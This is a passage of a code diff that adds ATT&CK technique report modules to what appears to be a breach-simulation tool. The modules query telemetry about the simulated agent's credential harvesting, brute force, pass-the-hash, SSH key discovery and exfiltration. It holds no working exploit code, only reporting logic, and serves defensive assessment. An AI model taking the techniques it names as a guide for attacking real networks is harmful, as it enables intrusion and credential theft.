T1110 - :param data: Data, relevant to the technique - """ - data.update({'technique': technique}) - mongo.db.attack_results.insert(data) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py new file mode 100644 index 000000000..2b49f264d --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1003(AttackTechnique): + + tech_id = "T1003" + unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." + scanned_msg = "" + used_msg = "Monkey successfully obtained some credentials from systems on the network." + + query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}}, + # $gt: {} checks if field is not an empty object + {'data.credentials': {'$gt': {}}}]} + + @staticmethod + def get_report_data(): + data = {'title': T1003.technique_title()} + if mongo.db.telemetry.count_documents(T1003.query): + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1003.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py new file mode 100644 index 000000000..b84fe4a6f --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1005(AttackTechnique): + + tech_id = "T1005" + unscanned_msg = "Monkey didn't gather any sensitive data from local system." + scanned_msg = "" + used_msg = "Monkey successfully gathered sensitive data from local system." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'gathered_data_type': '$data.gathered_data_type', + 'info': '$data.info'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1005.get_tech_base_data() + data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py new file mode 100644 index 000000000..43d7c42b0 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -0,0 +1,35 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1016(AttackTechnique): + + tech_id = "T1016" + unscanned_msg = "Monkey didn't gather network configurations." + scanned_msg = "" + used_msg = "Monkey gathered network configurations on systems in the network." + + query = [{'$match': {'telem_category': 'system_info'}}, + {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, + 'networks': '$data.network_info.networks', + 'netstat': '$data.network_info.netstat'}}, + {'$addFields': {'_id': 0, + 'netstat': 0, + 'networks': 0, + 'info': [ + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, + 'name': {'$literal': 'Network connections (netstat)'}}, + {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, + 'name': {'$literal': 'Network interface info'}}, + ]}}] + + @staticmethod + def get_report_data(): + network_info = list(mongo.db.telemetry.aggregate(T1016.query)) + status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value + data = T1016.get_base_data_by_status(status) + data.update({'network_info': network_info}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py new file mode 100644 index 000000000..a955f6cc9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -0,0 +1,39 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1018(AttackTechnique): + + tech_id = "T1018" + unscanned_msg = "Monkey didn't find any machines on the network." + scanned_msg = "" + used_msg = "Monkey found machines on the network." + + query = [{'$match': {'telem_category': 'scan'}}, + {'$sort': {'timestamp': 1}}, + {'$group': {'_id': {'monkey_guid': '$monkey_guid'}, + 'machines': {'$addToSet': '$data.machine'}, + 'started': {'$first': '$timestamp'}, + 'finished': {'$last': '$timestamp'}}}, + {'$lookup': {'from': 'monkey', + 'localField': '_id.monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey_tmp'}}, + {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}}, + {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname', + 'ips': '$monkey_tmp.ip_addresses'}, + 'monkey_tmp': 0}}] + + @staticmethod + def get_report_data(): + scan_info = list(mongo.db.telemetry.aggregate(T1018.query)) + if scan_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1018.get_base_data_by_status(status) + data.update({'scan_info': scan_info}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py new file mode 100644 index 000000000..d22583359 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -0,0 +1,51 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds + + +__author__ = "VakarisZ" + + +class T1021(AttackTechnique): + tech_id = "T1021" + unscanned_msg = "Monkey didn't try to login to any remote services." + scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed." + used_msg = "Monkey successfully logged into remote services on the network." + + # Gets data about brute force attempts + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$eq': ['$$attempt.result', True]} + } + } + } + }] + + scanned_query = {'telem_category': 'exploit', + 'data.attempts': {'$elemMatch': {'result': True}}} + + @staticmethod + def get_report_data(): + attempts = [] + if mongo.db.telemetry.count_documents(T1021.scanned_query): + attempts = list(mongo.db.telemetry.aggregate(T1021.query)) + if attempts: + status = ScanStatus.USED.value + for result in attempts: + result['successful_creds'] = [] + for attempt in result['attempts']: + result['successful_creds'].append(parse_creds(attempt)) + else: + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1021.get_base_data_by_status(status) + data.update({'services': attempts}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py new file mode 100644 index 000000000..2750c953c --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique + +__author__ = "VakarisZ" + + +class T1035(UsageTechnique): + tech_id = "T1035" + unscanned_msg = "Monkey didn't try to interact with Windows services." + scanned_msg = "Monkey tried to interact with Windows services, but failed." + used_msg = "Monkey successfully interacted with Windows services." + + @staticmethod + def get_report_data(): + data = T1035.get_tech_base_data() + data.update({'services': T1035.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py new file mode 100644 index 000000000..1342b646e --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus + +__author__ = "VakarisZ" + + +class T1041(AttackTechnique): + + tech_id = "T1041" + unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." + scanned_msg = "" + used_msg = "Monkey exfiltrated info trough command and control channel." + + @staticmethod + def get_report_data(): + monkeys = list(Monkey.objects()) + info = [{'src': monkey['command_control_channel']['src'], + 'dst': monkey['command_control_channel']['dst']} + for monkey in monkeys if monkey['command_control_channel']] + if info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1041.get_base_data_by_status(status) + data.update({'command_control_channel': info}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py new file mode 100644 index 000000000..ef15dd9fd --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1059(AttackTechnique): + + tech_id = "T1059" + unscanned_msg = "Monkey didn't exploit any machines to run commands at." + scanned_msg = "" + used_msg = "Monkey successfully ran commands on exploited machines in the network." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, + {'$unwind': '$data.info.executed_cmds'}, + {'$sort': {'data.info.executed_cmds.powershell': 1}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, + {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) + data = {'title': T1059.technique_title(), 'cmds': cmd_data} + if cmd_data: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1059.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py new file mode 100644 index 000000000..0b1b05489 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -0,0 +1,18 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1064(UsageTechnique): + tech_id = "T1064" + unscanned_msg = "Monkey didn't run scripts or tried to run and failed." + scanned_msg = "" + used_msg = "Monkey ran scripts on machines in the network." + + @staticmethod + def get_report_data(): + data = T1064.get_tech_base_data() + script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) + data.update({'scripts': script_usages}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py new file mode 100644 index 000000000..7d8ceb93e --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -0,0 +1,20 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.config import ConfigService + +__author__ = "VakarisZ" + + +class T1065(AttackTechnique): + + tech_id = "T1065" + unscanned_msg = "" + scanned_msg = "" + used_msg = "" + message = "Monkey used port %s to communicate to C2 server." + + @staticmethod + def get_report_data(): + port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1] + T1065.used_msg = T1065.message % port + return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py new file mode 100644 index 000000000..623d157ae --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -0,0 +1,44 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1075(AttackTechnique): + + tech_id = "T1075" + unscanned_msg = "Monkey didn't try to use pass the hash attack." + scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." + used_msg = "Monkey successfully used hashed credentials." + + login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}}, + {'lm_hash': {'$ne': ''}}]}}} + + # Gets data about successful PTH logins + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}, + '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}}, + {'lm_hash': {'$ne': ''}}]}, + {'result': True}]}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + + @staticmethod + def get_report_data(): + data = {'title': T1075.technique_title()} + successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) + data.update({'successful_logins': successful_logins}) + if successful_logins: + status = ScanStatus.USED.value + elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1075.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py new file mode 100644 index 000000000..bc2645bb9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -0,0 +1,49 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1082(AttackTechnique): + + tech_id = "T1082" + unscanned_msg = "Monkey didn't gather any system info on the network." + scanned_msg = "" + used_msg = "Monkey gathered system info from machines in the network." + + query = [{'$match': {'telem_category': 'system_info'}}, + {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, + 'aws': '$data.aws', + 'netstat': '$data.network_info.netstat', + 'process_list': '$data.process_list', + 'ssh_info': '$data.ssh_info', + 'azure_info': '$data.Azure'}}, + {'$project': {'_id': 0, + 'machine': 1, + 'collections': [ + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, + 'name': {'$literal': 'Amazon Web Services info'}}, + {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, + 'name': {'$literal': 'Running process list'}}, + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, + 'name': {'$literal': 'Network connections'}}, + {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, + 'name': {'$literal': 'SSH info'}}, + {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, + 'name': {'$literal': 'Azure info'}} + ]}}, + {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = {'title': T1082.technique_title()} + system_info = list(mongo.db.telemetry.aggregate(T1082.query)) + data.update({'system_info': system_info}) + if system_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1082.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py new file mode 100644 index 000000000..dd5d64d25 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -0,0 +1,36 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1086(AttackTechnique): + + tech_id = "T1086" + unscanned_msg = "Monkey didn't run powershell." + scanned_msg = "" + used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}}, + {'$project': {'machine': '$data.machine', + 'info': '$data.info'}}, + {'$project': {'_id': 0, + 'machine': 1, + 'info.finished': 1, + 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds', + 'as': 'command', + 'cond': {'$eq': ['$$command.powershell', True]}}}}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) + data = {'title': T1086.technique_title(), 'cmds': cmd_data} + if cmd_data: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1086.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py new file mode 100644 index 000000000..7a6c830b8 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -0,0 +1,24 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.models import Monkey + +__author__ = "VakarisZ" + + +class T1090(AttackTechnique): + + tech_id = "T1090" + unscanned_msg = "Monkey didn't use connection proxy." + scanned_msg = "" + used_msg = "Monkey used connection proxy to communicate with machines on the network." + + @staticmethod + def get_report_data(): + monkeys = Monkey.get_tunneled_monkeys() + monkeys = [monkey.get_network_info() for monkey in monkeys] + status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value + data = T1090.get_base_data_by_status(status) + data.update({'proxies': monkeys}) + return data + + diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py new file mode 100644 index 000000000..3d95fd88d --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1105(AttackTechnique): + + tech_id = "T1105" + unscanned_msg = "Monkey didn't try to copy files to any systems." + scanned_msg = "Monkey tried to copy files, but failed." + used_msg = "Monkey successfully copied files to systems on the network." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$project': {'_id': 0, + 'src': '$data.src', + 'dst': '$data.dst', + 'filename': '$data.filename'}}, + {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1105.get_tech_base_data() + data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py new file mode 100644 index 000000000..d07a66038 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique + +__author__ = "VakarisZ" + + +class T1106(UsageTechnique): + tech_id = "T1106" + unscanned_msg = "Monkey didn't try to directly use WinAPI." + scanned_msg = "Monkey tried to use WinAPI, but failed." + used_msg = "Monkey successfully used WinAPI." + + @staticmethod + def get_report_data(): + data = T1106.get_tech_base_data() + data.update({'api_uses': T1106.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py new file mode 100644 index 000000000..9448c2e6b --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -0,0 +1,32 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1107(AttackTechnique): + tech_id = "T1107" + unscanned_msg = "" + scanned_msg = "Monkey tried to delete files on systems in the network, but failed." + used_msg = "Monkey successfully deleted files on systems in the network." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': 'T1107'}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'path': '$data.path'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}] + + @staticmethod + def get_report_data(): + data = T1107.get_tech_base_data() + deleted_files = list(mongo.db.telemetry.aggregate(T1107.query)) + data.update({'deleted_files': deleted_files}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py new file mode 100644 index 000000000..72bb0af76 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -0,0 +1,50 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds + +__author__ = "VakarisZ" + + +class T1110(AttackTechnique): + tech_id = "T1110" + unscanned_msg = "Monkey didn't try to brute force any services." + scanned_msg = "Monkey tried to brute force some services, but failed." + used_msg = "Monkey successfully used brute force in the network." + + # Gets data about brute force attempts + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + + @staticmethod + def get_report_data(): + attempts = list(mongo.db.telemetry.aggregate(T1110.query)) + succeeded = False + + for result in attempts: + result['successful_creds'] = [] + for attempt in result['attempts']: + succeeded = True + result['successful_creds'].append(parse_creds(attempt)) + + if succeeded: + status = ScanStatus.USED.value + elif attempts: + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1110.get_base_data_by_status(status) + # Remove data with no successful brute force attempts + attempts = [attempt for attempt in attempts if attempt['attempts']] + + data.update({'services': attempts}) + return data + + diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py new file mode 100644 index 000000000..5f87faabb --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique + +__author__ = "VakarisZ" + + +class T1129(UsageTechnique): + tech_id = "T1129" + unscanned_msg = "Monkey didn't try to load any DLL's." + scanned_msg = "Monkey tried to load DLL's, but failed." + used_msg = "Monkey successfully loaded DLL's using Windows module loader." + + @staticmethod + def get_report_data(): + data = T1129.get_tech_base_data() + data.update({'dlls': T1129.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py new file mode 100644 index 000000000..c4e5691ff --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -0,0 +1,31 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus + +__author__ = "VakarisZ" + + +class T1145(AttackTechnique): + tech_id = "T1145" + unscanned_msg = "Monkey didn't find any shh keys." + scanned_msg = "" + used_msg = "Monkey found ssh keys on machines in the network." + + # Gets data about ssh keys found + query = [{'$match': {'telem_category': 'system_info', + 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}}, + {'$project': {'_id': 0, + 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, + 'ssh_info': '$data.ssh_info'}}] + + @staticmethod + def get_report_data(): + ssh_info = list(mongo.db.telemetry.aggregate(T1145.query)) + + if ssh_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1145.get_base_data_by_status(status) + data.update({'ssh_info': ssh_info}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py new file mode 100644 index 000000000..32187696a --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -0,0 +1,32 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus + +__author__ = "VakarisZ" + + +class T1188(AttackTechnique): + + tech_id = "T1188" + unscanned_msg = "Monkey didn't use multi-hop proxy." + scanned_msg = "" + used_msg = "Monkey used multi-hop proxy." + + @staticmethod + def get_report_data(): + monkeys = Monkey.get_tunneled_monkeys() + hops = [] + for monkey in monkeys: + proxy_count = 0 + proxy = initial = monkey + while proxy.tunnel: + proxy_count += 1 + proxy = proxy.tunnel + if proxy_count > 1: + hops.append({'from': initial.get_network_info(), + 'to': proxy.get_network_info(), + 'count': proxy_count}) + status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value + data = T1188.get_base_data_by_status(status) + data.update({'hops': hops}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py new file mode 100644 index 000000000..b6bd316af --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -0,0 +1,27 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1197(AttackTechnique): + tech_id = "T1197" + unscanned_msg = "Monkey didn't try to use any bits jobs." + scanned_msg = "Monkey tried to use bits jobs but failed." + used_msg = "Monkey successfully used bits jobs at least once in the network." + + @staticmethod + def get_report_data(): + data = T1197.get_tech_base_data() + bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', + 'data.technique': T1197.tech_id}}, + {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', + 'usage': '$data.usage'}, + 'ip_addr': {'$first': '$data.machine.ip_addr'}, + 'domain_name': {'$first': '$data.machine.domain_name'}, + 'usage': {'$first': '$data.usage'}, + 'time': {'$first': '$timestamp'}} + }]) + bits_results = list(bits_results) + data.update({'bits_jobs': bits_results}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py new file mode 100644 index 000000000..eeae183f5 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -0,0 +1,48 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1210(AttackTechnique): + + tech_id = "T1210" + unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" + scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them." + used_msg = "Monkey scanned for remote services and exploited some on the network." + + @staticmethod + def get_report_data(): + data = {'title': T1210.technique_title()} + scanned_services = T1210.get_scanned_services() + exploited_services = T1210.get_exploited_services() + if exploited_services: + status = ScanStatus.USED.value + elif scanned_services: + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1210.get_message_and_status(status)) + data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) + return data + + @staticmethod + def get_scanned_services(): + results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}}, + {'$sort': {'data.service_count': -1}}, + {'$group': { + '_id': {'ip_addr': '$data.machine.ip_addr'}, + 'machine': {'$first': '$data.machine'}, + 'time': {'$first': '$timestamp'}}}]) + return list(results) + + @staticmethod + def get_exploited_services(): + results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'exploit', 'data.result': True}}, + {'$group': { + '_id': {'ip_addr': '$data.machine.ip_addr'}, + 'service': {'$first': '$data.info'}, + 'machine': {'$first': '$data.machine'}, + 'time': {'$first': '$timestamp'}}}]) + return list(results) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py new file mode 100644 index 000000000..940c9e8ea --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -0,0 +1,24 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1222(AttackTechnique): + tech_id = "T1222" + unscanned_msg = "Monkey didn't try to change any file permissions." + scanned_msg = "Monkey tried to change file permissions, but failed." + used_msg = "Monkey successfully changed file permissions in network systems." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': 'T1222', + 'data.status': ScanStatus.USED.value}}, + {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1222.get_tech_base_data() + data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py new file mode 100644 index 